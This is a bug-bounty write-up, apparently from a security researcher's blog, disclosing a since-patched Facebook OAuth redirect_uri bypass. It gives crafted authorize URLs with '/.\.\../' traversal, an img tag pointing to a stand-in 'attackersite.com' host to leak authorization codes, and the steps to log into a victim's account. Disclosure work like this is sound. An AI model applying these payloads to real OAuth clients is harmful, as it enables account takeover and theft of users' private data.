Skip to main content

OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token)

Well well well, hacking time again :) No much time for big explanation but few weeks ago I was using a little variant of Lassie come home to potentially steal a valid Facebook's access token. In a nutshell reading a blog post of how the great Egor Homakov did hack Github  (see Bug 1. Bypass of redirect_uri validation with /../ ) I though how about Facebook :) ?.

Well here is what I found, I have copied a part of my report to Facebook security :

The redirect_uri in the https://graph.facebook.com/oauth/authorize is not validated correctly. I can bypass the redirect_uri validation with /.\.\../. This might result on stealing the authorization code of a Facebook registered OAuth Client. As an example I would use Parse.com (that is owned by Facebook). In https://parse.com/account there is the chance to link an account with Facebook.
Now the correct request is:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

but changing the request to:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../asanso&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

(please note the redirect_uri changed to 

https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback/.\.\../.\.\../asanso)

will end up to be redirected to

https://parse.com/auth/asanso?code=CODE#_=_

The redirect_uri should instead not being accepted.
In order to see how this can be exploited in general let's assume that https://gist.github.com/ would also be a Facebook OAuth client with a registered redirect_uri of https://gist.github.com/auth/facebook/callback

I would then change the request from

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback&response_type=code

to

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8&response_type=code

(please note the redirect_uri=https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8)

Now gist offers some limited html capability but i can use a cross domain resource, like <img>. In the img I can place <img src="http://attackersite.com/"> or <img src="///attackersite.com">

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8?code=CODE

But the user agent loads https://gist.github.com/asanso/a2f05bb7e38ba6af88f8?code=CODE

As soon as we get victim's CODE we can hit https://gist.github.com/auth/facebook/callback?code=CODE and yes :), we are logged into the victim's account and we have access to private gists.

I used an hypothesis of gist being an OAuth client but this would work with any OAuth client that will have the same situation than gist

The answer from Facebook was pretty quick (same for the fix):

Hi,

We have looked into this issue and believe that the vulnerability has been patched. Please re-test the issue and follow up with us if you believe that the patch does not fully resolve the issue.

Security
Facebook

PS: Nice find! :)
 And yep I also got a bounty :)

Comments

Unknown said…
why is browser changing
"https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8"

to

https://gist.github.com/asanso/a2f05bb7e38ba6af88f8
Antonio Sanso said…
@unkown is this a question :) ?

Popular posts from this blog

Slack SAML authentication bypass

tl;dr  I found a severe issue in the Slack's SAML implementation that allowed me to bypass the authentication. This has now been solved by Slack.
Introduction IMHO the rule #1 of any bug hunter (note I do not consider myself one of them since I do this really sporadically) is to have a good RSS feed list.  In the course of the last years I built a pretty decent one and I try to follow other security experts trying to "steal" some useful tricks. There are many experts in different fields of the security panorama and too many to quote them here (maybe another post). But one of the leading expert (that I follow) on SAML is by far Ioannis Kakavas. Indeed he was able in the last years to find serious vulnerability in the SAML implementation of Microsoft and Github. Usually I am more an "OAuth guy" but since both, SAML and OAuth, are nothing else that grandchildren of Kerberos learning SAML has been in my todo list for long time. The Github incident gave me the final…

Bug bounty left over (and rant) Part III (Google and Twitter)

tl;dr in this blog post I am going to talk about some bug bounty left over with a little rant.

Here you can find bug bounty left over part I and II
Here you can find bug bounty rant part I and II
Introduction In one of my previous post I was saying that: 

"The rule #1 of any bug hunter... is to have a good RSS feed list."
Well well well allow me in this post to state rule #2 (IMHO)

"The rule #2 of any bug hunter is to DO NOT be to fussy with 'food' specifically with left over"

aka even if the most experience bug hunter was there (and it definitely was my case here, given the fact we are talking about no one less than filedescriptor) do not assume that all the vulnerabilities have been found! So if you want some examples here we go.
Part I - GoogleI have the privilege to receive from time to time Google Vulnerability Research Grant. One of the last I received had many target options to choose from, but one in particular caught my attention, namely Google Issue T…

OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)

Usual Mandatory Disclaimer: IANAC (I am not a cryptographer) so I might likely end up writing a bunch of mistakes in this blog post...

tl;dr The OpenSSL 1.0.2 releases suffer from a Key Recovery Attack on DH small subgroups. This issue got assigned CVE-2016-0701 with a severity of High and OpenSSL 1.0.2 users should upgrade to 1.0.2f. If an application is using DH configured with parameters based on primes that are not "safe" or not Lim-Lee (as the one in RFC 5114) and either Static DH ciphersuites are used or DHE ciphersuites with the default OpenSSL configuration (in particular SSL_OP_SINGLE_DH_USE is not set) then is vulnerable to this attack.  It is believed that many popular applications (e.g. Apache mod_ssl) do set the  SSL_OP_SINGLE_DH_USE option and would therefore not be at risk (for DHE ciphersuites), they still might be for Static DH ciphersuites.
Introduction So if you are still here it means you wanna know more. And here is the thing. In my last blog post I was …